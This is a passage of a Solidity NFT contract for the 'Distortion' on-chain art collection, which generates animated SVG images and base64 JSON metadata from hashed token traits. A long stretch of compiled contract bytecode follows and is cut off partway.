'rgb(204, 173, 0)', 'rgb(255, 102, 102)', 'rgb(167, 40, 199)' ]; string[] private middleLeft = [ 'rgb(57,57,57)' , 'rgb(179, 0, 0)', 'rgb(41, 163, 41)', 'rgb(0, 89, 179)', 'rgb(153, 130, 0)', 'rgb(255, 77, 77)', 'rgb(127, 32, 150)' ]; string[] private middleRight = [ 'rgb(20,20,20)', 'rgb(128, 0, 0)', 'rgb(31, 122, 31)', 'rgb(0, 64, 128)', 'rgb(179, 152, 0)', 'rgb(255, 51, 51)', 'rgb(98, 19, 117)' ]; string[] private frequencies = [ '', '0', '00' ]; function generateString(string memory name, uint256 tokenId, string[] memory array) internal view returns (string memory) { uint rand = uint(keccak256(abi.encodePacked(name, toString(tokenId)))) % array.length; string memory output = string(abi.encodePacked(array[rand % array.length])); return output; } function generateColorNumber(string memory name, uint256 tokenId) internal view returns (uint) { uint output; uint rand = uint(keccak256(abi.encodePacked(name, toString(tokenId)))) % 100; if (keccak256(bytes(hashOfBlock)) == keccak256(bytes(''))) { output = 0; //unrevealed } else { if (rand <= 15) { output = 1; //Red with 15% rarity. } else if (rand > 15 && rand <= 30) { output = 2; //Green with 15% rarity. } else if (rand > 30 && rand <= 45) { output = 3; //Blue with 15% rarity. } else if (rand > 45 && rand <= 75) { output = 0; //Black with 30% rarity. } else if (rand > 75 && rand <= 80) { output = 4; //Gold with 5% rarity. } else if (rand > 80 && rand <= 90) { output = 5; //Rose with 10% rarity. } else if (rand > 90) { output = 6; //Purple with 10% rarity. } } return output; } function generateNum(string memory name, uint256 tokenId, string memory genVar, uint low, uint high) internal view returns (string memory) { uint difference = high - low; uint randomnumber = uint(keccak256(abi.encodePacked(genVar, tokenId, name))) % difference + 1; randomnumber = randomnumber + low; return toString(randomnumber); } function generateNumUint(string memory name, uint256 tokenId, string memory genVar, uint low, uint high) internal view returns (uint) { uint difference = high - low; uint randomnumber = uint(keccak256(abi.encodePacked(genVar, tokenId, name))) % difference + 1; randomnumber = randomnumber + low; return randomnumber; } function genDefs(uint256 tokenId) internal view returns (string memory) { string memory output; string memory xFrequency = generateString("xF", tokenId, frequencies); string memory yFrequency = generateString("yF", tokenId, frequencies); string memory scale = generateNum("scale", tokenId, hashOfBlock, 10, 40); if (keccak256(bytes(hashOfBlock)) == keccak256(bytes(''))) { xFrequency = ''; yFrequency = ''; scale = '30'; } output = string(abi.encodePacked( '<defs><filter id="squares" x="-30%" y="-30%" width="160%" height="160%"> <feTurbulence type="turbulence" baseFrequency="', '0.', xFrequency, '5 0.', yFrequency, '5', '" numOctaves="10" seed="" result="turbulence"> <animate attributeName="seed" dur="0.3s" repeatCount="indefinite" calcMode="discrete" values="1;2;3;4;5;6;7;8;9;1"/> </feTurbulence> <feDisplacementMap in="SourceGraphic" in2="turbulence" scale="', scale, '" xChannelSelector="R" yChannelSelector="G" /> </filter> </defs>' )); return output; } function genMiddle(uint256 tokenId) internal view returns (string memory) { string memory translate = toString(divide(generateNumUint("scale", tokenId, hashOfBlock, 10, 40), 5, 0)); string[5] memory p; if (keccak256(bytes(hashOfBlock)) == keccak256(bytes(''))) { translate = '6'; } p[0] = '<style alt="surround"> #1 { stroke-dasharray: 50,50,150 }</style> <!-- translate below is equal to scale above divided by 5 --> <!-- x starts at 5, increments by 2 | width is equal to 100 - (2*x) --> <g style="filter: url(#squares);" opacity="100%" id="1"> <g transform="translate(-'; p[1] = translate; p[2] = ', -'; p[3] = translate; p[4] = ')" >'; string memory output = string(abi.encodePacked(p[0], p[1], p[2], p[3], p[4])); return output; } function genSquares(uint256 tokenId) internal view returns (string memory) { string memory output1; string memory output2; uint ringCount = generateNumUint("ringCount", tokenId, hashOfBlock, 5, 15); string[2] memory xywh; uint ringScaling = divide(25, ringCount, 0); if (keccak256(bytes(hashOfBlock)) == keccak256(bytes(''))) { ringCount = 5; ringScaling = 5; } for (uint i = 0; i < ringCount; i++) { xywh[0] = toString(ringScaling*i + 5); xywh[1] = toString(100 - (ringScaling*i + 5)*2); output1 = string(abi.encodePacked( '<g style="animation: glitch 1.', toString(i), 's infinite;"> <rect x="', xywh[0], '%" y="', xywh[0], '%" width="', xywh[1], '%" height="', xywh[1], '%" fill="none" stroke="', left[generateColorNumber("color", tokenId)], '" id="1" /> </g>' )); output2 = string(abi.encodePacked(output1, output2)); } return output2; } function genEnd(uint256 tokenId) internal view returns (string memory) { uint colorNum = generateColorNumber("color", tokenId); string[13] memory p; p[0] = '</g> </g> <!-- END SQUARES --> <g style="animation: glitch 0.5s infinite;filter: url(#squares);"> <g transform="scale(0.50) translate(370, 287)" style="opacity:40%"> <path fill="'; p[1] = right[colorNum]; p[2] = '" d="M125.166 285.168l2.795 2.79 127.962-75.638L127.961 0l-2.795 9.5z"/><path fill="'; p[3] = left[colorNum]; p[4] = '" d="M127.962 287.959V0L0 212.32z"/><path fill="'; p[5] = right[colorNum]; p[6] = '" d="M126.386 412.306l1.575 4.6L256 236.587l-128.038 75.6-1.575 1.92z"/><path fill="'; p[7] = left[colorNum]; p[8] = '" d="M0 236.585l127.962 180.32v-104.72z"/><path fill="'; p[9] = middleRight[colorNum]; p[10] = '" d="M127.961 154.159v133.799l127.96-75.637z"/><path fill="'; p[11] = middleLeft[colorNum]; p[12] = '" d="M127.96 154.159L0 212.32l127.96 75.637z"/> </g> </g> </svg>'; string memory output = string(abi.encodePacked(p[0], p[1], p[2], p[3], p[4], p[5], p[6], p[7], p[8])); output = string(abi.encodePacked(output, p[9], p[10], p[11], p[12])); return output; } function generateDistortion(uint256 tokenId) public view returns (string memory) { string memory output; output = string(abi.encodePacked( '<svg width="750px" height="750px" viewBox="0 0 500 500" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="background-color: #101010;"> <!-- START BACKGROUND --> <style> @keyframes glitch { 0% {transform: translate(0px); opacity: 0.15;} 7% {transform: translate(2px); opacity: 0.65;} 45% {transform: translate(0px); opacity: 0.35;} 50% {transform: translate(-2px); opacity: 0.85;} 100% {transform: translate(0px); opacity: 0.25;} } </style> <defs> <filter id="background" x="-20%" y="-20%" width="140%" height="140%" filterUnits="objectBoundingBox" primitiveUnits="userSpaceOnUse" color-interpolation-filters="linearRGB"> <feTurbulence type="fractalNoise" baseFrequency="10" numOctaves="4" seed="1" stitchTiles="stitch" x="0%" y="0%" width="100%" height="100%" result="turbulence"> <animate attributeName="seed" dur="1s" repeatCount="indefinite" calcMode="discrete" values="1;2;3;4;5;6;7;8;9;10" /> </feTurbulence> <feSpecularLighting surfaceScale="10" specularExponent="10" lighting-color="#fff" width="100%" height="100%"> <animate attributeName="surfaceScale" dur="1s" repeatCount="indefinite" calcMode="discrete" values="10;11;12;13;14;15;14;13;12;11" /> <feDistantLight elevation="100"/> </feSpecularLighting> </filter> </defs> <g opacity="10%"> <rect width="700" height="700" fill="hsl(23, 0%, 100%)" filter="url(#background)"></rect> </g> <!-- END BACKGROUND --> <!-- START SQUARES -->', genDefs(tokenId), genMiddle(tokenId), genSquares(tokenId), genEnd(tokenId) )); return output; } function getFrequency(uint256 tokenId) internal view returns (uint) { uint[2] memory xy; string memory y = generateString("yF", tokenId, frequencies); string memory x = generateString("xF", tokenId, frequencies); if (keccak256(bytes(x)) == keccak256(bytes('0'))){ xy[0] = 2; } else if (keccak256(bytes(x)) == keccak256(bytes('00'))){ xy[0] = 1; } else { xy[0] = 3; } if (keccak256(bytes(y)) == keccak256(bytes('0'))){ xy[1] = 2; } else if (keccak256(bytes(y)) == keccak256(bytes('00'))){ xy[1] = 1; } else { xy[1] = 3; } return xy[0] * xy[1]; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) override public view returns (string memory) { string memory ringCount = generateNum("ringCount", tokenId, hashOfBlock, 5, 15); string memory scale = generateNum("scale", tokenId, hashOfBlock, 10, 40); uint freq = getFrequency(tokenId); string memory unr; // if unrevealed if (keccak256(bytes(hashOfBlock)) == keccak256(bytes(''))) { scale = '0'; ringCount = '0'; unr = ' (Unrevealed)'; freq = 0;} string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "Distortion #', toString(tokenId), unr, '","attributes": [ { "trait_type": "Color", "value": "', colorNames[generateColorNumber("color", tokenId)], '" }, { "trait_type": "Distortion Scale", "value": ', scale, ' }, { "trait_type": "Rings", "value": ', ringCount, ' }, { "trait_type": "Frequency Multiple", "value": ', toString(freq), ' }]', ', "description": "Distortion is a fully hand-typed 100% on-chain art collection limited to 1,000 pieces.", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(string(abi.encodePacked(generateDistortion(tokenId))))), '"}')))); string memory output = string(abi.encodePacked('data:application/json;base64,', json)); return output; } /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function divide(uint a, uint b, uint precision) internal view returns ( uint) { return a*(10**precision)/b; } /** * @dev safety measure */ modifier callerIsWallet() { require(tx.origin == msg.sender, "The caller is another contract"); _; } function withdraw() public onlyOwner { uint256 balance = address(this).balance; Address.sendValue(payoutAddress, balance); } /** * @notice For the attributes to be revealed, the hash of the block of the final mint must be set so provenance can be verified. * */ function getHash() public view returns (string memory) { return hashOfBlock; } } /// [MIT License] /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <brecht@loopring.org> library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } }
0x60806040526004361061017e5760003560e01c806301ffc9a71461018357806306fdde03146101b8578063081812fc146101da57806308808dbe14610212578063095ea7b3146102345780631249c58b1461025457806318160ddd1461025c57806323b872dd1461027f5780632f745c591461029f5780633ccfd60b146102bf57806342842e0e146102d4578063485a68a3146102f45780634b014e281461030a5780634f6ccce71461032a5780636352211e1461034a57806370a082311461036a578063715018a61461038a5780637c69e2071461039f5780637fc27803146103b45780638d6cc56d146103ce5780638da5cb5b146103ee57806392dea9221461040357806395d89b4114610423578063a035b1fe14610438578063a22cb4651461044e578063b88d4fde1461046e578063c87b56dd1461048e578063d13319c4146104ae578063d5abeb01146104c3578063d7224ba0146104d9578063e985e9c5146104ef578063f2fde38b14610538578063f49fc50b14610558575b600080fd5b34801561018f57600080fd5b506101a361019e366004613891565b610578565b60405190151581526020015b60405180910390f35b3480156101c457600080fd5b506101cd6105e5565b6040516101af9190614990565b3480156101e657600080fd5b506101fa6101f5366004613913565b610677565b6040516001600160a01b0390911681526020016101af565b34801561021e57600080fd5b5061023261022d366004613716565b610707565b005b34801561024057600080fd5b5061023261024f36600461384c565b6107c3565b6102326108d7565b34801561026857600080fd5b50610271610bcb565b6040519081526020016101af565b34801561028b57600080fd5b5061023261029a36600461376b565b610be1565b3480156102ab57600080fd5b506102716102ba36600461384c565b610bec565b3480156102cb57600080fd5b50610232610d59565b3480156102e057600080fd5b506102326102ef36600461376b565b610db3565b34801561030057600080fd5b50610271600c5481565b34801561031657600080fd5b50610232610325366004613876565b610dce565b34801561033657600080fd5b50610271610345366004613913565b610e10565b34801561035657600080fd5b506101fa610365366004613913565b610e72565b34801561037657600080fd5b50610271610385366004613716565b610e84565b34801561039657600080fd5b50610232610f15565b3480156103ab57600080fd5b50610232610f4e565b3480156103c057600080fd5b50600a546101a39060ff1681565b3480156103da57600080fd5b506102326103e9366004613913565b610ff9565b3480156103fa57600080fd5b506101fa61102d565b34801561040f57600080fd5b5061023261041e3660046138cb565b61103c565b34801561042f57600080fd5b506101cd611100565b34801561044457600080fd5b50610271600d5481565b34801561045a57600080fd5b50610232610469366004613822565b61110f565b34801561047a57600080fd5b506102326104893660046137a7565b6111d1565b34801561049a57600080fd5b506101cd6104a9366004613913565b61120a565b3480156104ba57600080fd5b506101cd611507565b3480156104cf57600080fd5b50610271600b5481565b3480156104e557600080fd5b5061027160075481565b3480156104fb57600080fd5b506101a361050a366004613738565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b34801561054457600080fd5b50610232610553366004613716565b611516565b34801561056457600080fd5b506101cd610573366004613913565b6115b3565b60006001600160e01b031982166380ac58cd60e01b14806105a957506001600160e01b03198216635b5e139f60e01b145b806105c457506001600160e01b0319821663780e9d6360e01b145b806105df57506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600180546105f490614c05565b80601f016020809104026020016040519081016040528092919081815260200182805461062090614c05565b801561066d5780601f106106425761010080835404028352916020019161066d565b820191906000526020600020905b81548152906001019060200180831161065057829003601f168201915b5050505050905090565b6000610684826000541190565b6106eb5760405162461bcd60e51b815260206004820152602d60248201527f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560448201526c3c34b9ba32b73a103a37b5b2b760991b60648201526084015b60405180910390fd5b506000908152600560205260409020546001600160a01b031690565b3361071061102d565b6001600160a01b0316146107365760405162461bcd60e51b81526004016106e2906149a3565b600b54610741610bcb565b61074c906001614a4d565b11156107b55760405162461bcd60e51b815260206004820152603260248201527f43726561746f722063616e6e6f742061697264726f7020696620737570706c79604482015271103430b9903132b2b7103932b0b1b432b21760711b60648201526084016106e2565b6107c0816001611604565b50565b60006107ce82610e72565b9050806001600160a01b0316836001600160a01b0316141561083d5760405162461bcd60e51b815260206004820152602260248201527f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60448201526132b960f11b60648201526084016106e2565b336001600160a01b03821614806108595750610859813361050a565b6108c75760405162461bcd60e51b815260206004820152603960248201527f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f6044820152781ddb995c881b9bdc88185c1c1c9bdd995908199bdc88185b1b603a1b60648201526084016106e2565b6108d2838383611622565b505050565b3233146109265760405162461bcd60e51b815260206004820152601e60248201527f5468652063616c6c657220697320616e6f7468657220636f6e7472616374000060448201526064016106e2565b600a5460ff166109715760405162461bcd60e51b815260206004820152601660248201527521b630b4b69034b9903737ba1030b1ba34bb3297171760511b60448201526064016106e2565b600b5461097c610bcb565b610987906001614a4d565b11156109d55760405162461bcd60e51b815260206004820181905260248201527f57652068617665206e6f206d6f726520737570706c7920696e2073746f636b2e60448201526064016106e2565b600c546109e0610bcb565b6109eb906001614a4d565b1115610adf5734600d5414610a545760405162461bcd60e51b815260206004820152602960248201527f57726f6e6720657468657220616d6f756e742e204672656520737570706c79206044820152683232b83632ba32b21760b91b60648201526084016106e2565b336000908152600e6020526040902054600290610a72906001614a4d565b1115610ab45760405162461bcd60e51b815260206004820152601160248201527026b0bc1019103832b9103bb0b63632ba1760791b60448201526064016106e2565b336000908152600e60205260408120805460019290610ad4908490614a4d565b90915550610bbe9050565b3415610b395760405162461bcd60e51b815260206004820152602360248201527f446f6e27742073656e6420657468657220666f72207468652066726565206d69604482015262373a1760e91b60648201526084016106e2565b336000908152600f6020526040902054600111610b985760405162461bcd60e51b815260206004820152601d60248201527f596f752063616e206f6e6c792067657420312066726565206d696e742e00000060448201526064016106e2565b336000908152600f60205260408120805460019290610bb8908490614a4d565b90915550505b610bc9336001611604565b565b60006001600054610bdc9190614bab565b905090565b6108d283838361167e565b6000610bf783610e84565b8210610c505760405162461bcd60e51b815260206004820152602260248201527f455243373231413a206f776e657220696e646578206f7574206f6620626f756e604482015261647360f01b60648201526084016106e2565b600080549080805b83811015610cf9576000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b9091046001600160401b03169183019190915215610caa57805192505b876001600160a01b0316836001600160a01b03161415610ce65786841415610cd8575093506105df92505050565b83610ce281614c40565b9450505b5080610cf181614c40565b915050610c58565b5060405162461bcd60e51b815260206004820152602e60248201527f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060448201526d0deeedccae440c4f240d2dcc8caf60931b60648201526084016106e2565b33610d6261102d565b6001600160a01b031614610d885760405162461bcd60e51b81526004016106e2906149a3565b476107c07f000000000000000000000000b2973bdb479f0cabec80d32cf768c723a9cb5b3c8261193f565b6108d2838383604051806020016040528060008152506111d1565b33610dd761102d565b6001600160a01b031614610dfd5760405162461bcd60e51b81526004016106e2906149a3565b600a805460ff1916911515919091179055565b600080548210610e6e5760405162461bcd60e51b815260206004820152602360248201527f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f756044820152626e647360e81b60648201526084016106e2565b5090565b6000610e7d82611a55565b5192915050565b60006001600160a01b038216610ef05760405162461bcd60e51b815260206004820152602b60248201527f455243373231413a2062616c616e636520717565727920666f7220746865207a60448201526a65726f206164647265737360a81b60648201526084016106e2565b506001600160a01b03166000908152600460205260409020546001600160801b031690565b33610f1e61102d565b6001600160a01b031614610f445760405162461bcd60e51b81526004016106e2906149a3565b610bc96000611bfe565b33610f5761102d565b6001600160a01b031614610f7d5760405162461bcd60e51b81526004016106e2906149a3565b600b54610f88610bcb565b610f93906001614a4d565b1115610bbe5760405162461bcd60e51b815260206004820152602f60248201527f43726561746f722063616e6e6f74206d696e7420696620737570706c7920686160448201526e39903132b2b7103932b0b1b432b21760891b60648201526084016106e2565b3361100261102d565b6001600160a01b0316146110285760405162461bcd60e51b81526004016106e2906149a3565b600d55565b6008546001600160a01b031690565b3361104561102d565b6001600160a01b03161461106b5760405162461bcd60e51b81526004016106e2906149a3565b60115460ff16156110dc5760405162461bcd60e51b815260206004820152603560248201527f52616e646f6d6e65737320686173682063616e206f6e6c79206265207365742060448201527437b731b290313c903a3432903232b83637bcb2b91760591b60648201526084016106e2565b80516110ef906010906020840190613567565b50506011805460ff19166001179055565b6060600280546105f490614c05565b6001600160a01b0382163314156111655760405162461bcd60e51b815260206004820152601a60248201527922a9219b9918a09d1030b8383937bb32903a379031b0b63632b960311b60448201526064016106e2565b3360008181526006602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6111dc84848461167e565b6111e884848484611c50565b6112045760405162461bcd60e51b81526004016106e2906149d8565b50505050565b606060006112c8604051806040016040528060098152602001681c9a5b99d0dbdd5b9d60ba1b815250846010805461124190614c05565b80601f016020809104026020016040519081016040528092919081815260200182805461126d90614c05565b80156112ba5780601f1061128f576101008083540402835291602001916112ba565b820191906000526020600020905b81548152906001019060200180831161129d57829003601f168201915b50505050506005600f611d5e565b90506000611382604051806040016040528060058152602001647363616c6560d81b81525085601080546112fb90614c05565b80601f016020809104026020016040519081016040528092919081815260200182805461132790614c05565b80156113745780601f1061134957610100808354040283529160200191611374565b820191906000526020600020905b81548152906001019060200180831161135757829003601f168201915b5050505050600a6028611d5e565b9050600061138f85611dd7565b604080516020810182526000905251909150606090600080516020614d4f833981519152906113c0906010906139e3565b6040518091039020141561143357604051806040016040528060018152602001600360fc1b8152509250604051806040016040528060018152602001600360fc1b81525093506040518060400160405280600d81526020016c2028556e72657665616c65642960981b8152509050600091505b60006114d6611441886120f9565b83601261146b6040518060400160405280600581526020016431b7b637b960d91b8152508c6121f6565b8154811061147b5761147b614c9b565b906000526020600020018789611490896120f9565b6114c061149c8f6115b3565b6040516020016114ac9190613a51565b604051602081830303815290604052612342565b6040516020016114ac9796959493929190613fc2565b90506000816040516020016114eb9190614918565b60408051601f1981840301815291905298975050505050505050565b6060601080546105f490614c05565b3361151f61102d565b6001600160a01b0316146115455760405162461bcd60e51b81526004016106e2906149a3565b6001600160a01b0381166115aa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106e2565b6107c081611bfe565b6060806115bf836124a7565b6115c88461276a565b6115d18561294a565b6115da86612b82565b6040516020016115ed949392919061422e565b60408051601f198184030181529190529392505050565b61161e828260405180602001604052806000815250613184565b5050565b60008281526005602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b600061168982611a55565b9050836001600160a01b031681600001516001600160a01b0316146116ff5760405162461bcd60e51b815260206004820152602660248201527f455243373231413a207472616e736665722066726f6d20696e636f72726563746044820152651037bbb732b960d11b60648201526084016106e2565b6001600160a01b0383166117635760405162461bcd60e51b815260206004820152602560248201527f455243373231413a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b60648201526084016106e2565b6117736000838360000151611622565b6001600160a01b03841660009081526004602052604081208054600192906117a59084906001600160801b0316614b83565b82546101009290920a6001600160801b038181021990931691831602179091556001600160a01b038516600090815260046020526040812080546001945090926117f191859116614a2b565b82546001600160801b039182166101009390930a9283029190920219909116179055506040805180820182526001600160a01b0380861682526001600160401b03428116602080850191825260008881526003909152948520935184549151909216600160a01b026001600160e01b03199091169190921617179055611878836001614a4d565b6000818152600360205260409020549091506001600160a01b0316611909576118a2816000541190565b156119095760408051808201825283516001600160a01b0390811682526020808601516001600160401b039081168285019081526000878152600390935294909120925183549451909116600160a01b026001600160e01b03199094169116179190911790555b82846001600160a01b0316866001600160a01b0316600080516020614f6983398151915260405160405180910390a45050505050565b8047101561198f5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016106e2565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146119dc576040519150601f19603f3d011682016040523d82523d6000602084013e6119e1565b606091505b50509050806108d25760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c20726044820152791958da5c1a595b9d081b585e481a185d99481c995d995c9d195960321b60648201526084016106e2565b6040805180820190915260008082526020820152611a74826000541190565b611ad35760405162461bcd60e51b815260206004820152602a60248201527f455243373231413a206f776e657220717565727920666f72206e6f6e657869736044820152693a32b73a103a37b5b2b760b11b60648201526084016106e2565b60007f00000000000000000000000000000000000000000000000000000000000000018310611b3457611b267f000000000000000000000000000000000000000000000000000000000000000184614bab565b611b31906001614a4d565b90505b825b818110611b9d576000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b9091046001600160401b03169183019190915215611b8a57949350505050565b5080611b9581614bee565b915050611b36565b5060405162461bcd60e51b815260206004820152602f60248201527f455243373231413a20756e61626c6520746f2064657465726d696e652074686560448201526e1037bbb732b91037b3103a37b5b2b760891b60648201526084016106e2565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60006001600160a01b0384163b15611d5257604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611c9490339089908890889060040161495d565b602060405180830381600087803b158015611cae57600080fd5b505af1925050508015611cde575060408051601f3d908101601f19168201909252611cdb918101906138ae565b60015b611d38573d808015611d0c576040519150601f19603f3d011682016040523d82523d6000602084013e611d11565b606091505b508051611d305760405162461bcd60e51b81526004016106e2906149d8565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611d56565b5060015b949350505050565b60606000611d6c8484614bab565b905060008186888a604051602001611d8693929190613bc7565b6040516020818303038152906040528051906020012060001c611da99190614c5b565b611db4906001614a4d565b9050611dc08582614a4d565b9050611dcb816120f9565b98975050505050505050565b6000611de16135e7565b6000611ed9604051806040016040528060028152602001613ca360f11b815250856017805480602002602001604051908101604052809291908181526020016000905b82821015611ed0578382906000526020600020018054611e4390614c05565b80601f0160208091040260200160405190810160405280929190818152602001828054611e6f90614c05565b8015611ebc5780601f10611e9157610100808354040283529160200191611ebc565b820191906000526020600020905b815481529060010190602001808311611e9f57829003601f168201915b505050505081526020019060010190611e24565b5050505061344c565b90506000611fca604051806040016040528060028152602001613c2360f11b815250866017805480602002602001604051908101604052809291908181526020016000905b82821015611ed0578382906000526020600020018054611f3d90614c05565b80601f0160208091040260200160405190810160405280929190818152602001828054611f6990614c05565b8015611fb65780601f10611f8b57610100808354040283529160200191611fb6565b820191906000526020600020905b815481529060010190602001808311611f9957829003601f168201915b505050505081526020019060010190611f1e565b6040805180820190915260018152600360fc1b602091820152815190820120909150600080516020614e0383398151915214156120115760028360005b6020020152612055565b604080518082019091526002815261030360f41b6020918201528151908201206000805160206150d38339815191521415612050576001836000612007565b600383525b6040805180820190915260018152600360fc1b602091820152825190830120600080516020614e0383398151915214156120995760028360015b60200201526120df565b604080518082019091526002815261030360f41b6020918201528251908301206000805160206150d383398151915214156120d7576001838161208f565b600360208401525b602083015183516120f09190614b64565b95945050505050565b60608161211d5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115612147578061213181614c40565b91506121409050600a83614a65565b9150612121565b6000816001600160401b0381111561216157612161614cb1565b6040519080825280601f01601f19166020018201604052801561218b576020820181803683370190505b5090505b8415611d56576121a0600183614bab565b91506121ad600a86614c5b565b6121b8906030614a4d565b60f81b8183815181106121cd576121cd614c9b565b60200101906001600160f81b031916908160001a9053506121ef600a86614a65565b945061218f565b6000806000606485612207866120f9565b604051602001612218929190613a6d565b6040516020818303038152906040528051906020012060001c61223b9190614c5b565b604080516020810182526000905251909150600080516020614d4f83398151915290612269906010906139e3565b60405180910390201415612280576000915061233a565b600f8111612291576001915061233a565b600f811180156122a25750601e8111155b156122b0576002915061233a565b601e811180156122c15750602d8111155b156122cf576003915061233a565b602d811180156122e05750604b8111155b156122ee576000915061233a565b604b811180156122ff575060508111155b1561230d576004915061233a565b60508111801561231e5750605a8111155b1561232c576005915061233a565b605a81111561233a57600691505b509392505050565b805160609080612362575050604080516020810190915260008152919050565b60006003612371836002614a4d565b61237b9190614a65565b612386906004614b64565b90506000612395826020614a4d565b6001600160401b038111156123ac576123ac614cb1565b6040519080825280601f01601f1916602001820160405280156123d6576020820181803683370190505b5090506000604051806060016040528060408152602001614ed5604091399050600181016020830160005b86811015612462576003818a01810151603f601282901c8116860151600c83901c8216870151600684901c831688015192909316870151600891821b60ff94851601821b92841692909201901b91160160e01b835260049092019101612401565b50600386066001811461247c576002811461248d57612499565b613d3d60f01b600119830152612499565b603d60f81b6000198301525b505050918152949350505050565b6060806000612599604051806040016040528060028152602001613c2360f11b815250856017805480602002602001604051908101604052809291908181526020016000905b82821015611ed057838290600052602060002001805461250c90614c05565b80601f016020809104026020016040519081016040528092919081815260200182805461253890614c05565b80156125855780601f1061255a57610100808354040283529160200191612585565b820191906000526020600020905b81548152906001019060200180831161256857829003601f168201915b5050505050815260200190600101906124ed565b9050600061268a604051806040016040528060028152602001613ca360f11b815250866017805480602002602001604051908101604052809291908181526020016000905b82821015611ed05783829060005260206000200180546125fd90614c05565b80601f016020809104026020016040519081016040528092919081815260200182805461262990614c05565b80156126765780601f1061264b57610100808354040283529160200191612676565b820191906000526020600020905b81548152906001019060200180831161265957829003601f168201915b5050505050815260200190600101906125de565b905060006126bd604051806040016040528060058152602001647363616c6560d81b81525087601080546112fb90614c05565b604080516020810182526000905251909150600080516020614d4f833981519152906126eb906010906139e3565b6040518091039020141561273b5760405180602001604052806000815250925060405180602001604052806000815250915060405180604001604052806002815260200161033360f41b81525090505b82828260405160200161275093929190613d4d565b60408051601f198184030181529190529695505050505050565b6060600061283861283361282a604051806040016040528060058152602001647363616c6560d81b81525086601080546127a390614c05565b80601f01602080910402602001604051908101604052809291908181526020018280546127cf90614c05565b801561281c5780601f106127f15761010080835404028352916020019161281c565b820191906000526020600020905b8154815290600101906020018083116127ff57829003601f168201915b5050505050600a60286134e4565b60056000613545565b6120f9565b9050612842613605565b604080516020810182526000905251600080516020614d4f8339815191529061286d906010906139e3565b6040518091039020141561289857604051806040016040528060018152602001601b60f91b81525091505b60405180610140016040528061011a8152602001614fb961011a91398152602080820183815260408051808201825260038152622c202d60e81b818501528185019081526060850186815282518084019093526004808452631491101f60e11b958401959095526080860192909252845192519051915160009491929186905b6020020151604051602001612931959493929190613a9c565b60408051601f1981840301815291905295945050505050565b60608060606000612a0b604051806040016040528060098152602001681c9a5b99d0dbdd5b9d60ba1b815250866010805461298490614c05565b80601f01602080910402602001604051908101604052809291908181526020018280546129b090614c05565b80156129fd5780601f106129d2576101008083540402835291602001916129fd565b820191906000526020600020905b8154815290600101906020018083116129e057829003601f168201915b50505050506005600f6134e4565b9050612a1561362c565b6000612a246019846000613545565b604080516020810182526000905251909150600080516020614d4f83398151915290612a52906010906139e3565b60405180910390201415612a67575060059150815b60005b83811015612b7657612a8a612a7f8284614b64565b612833906005614a4d565b8352612aba612a998284614b64565b612aa4906005614a4d565b612aaf906002614b64565b612833906064614bab565b6020840152612ac8816120f9565b8351602080860151604080518082019091526005815264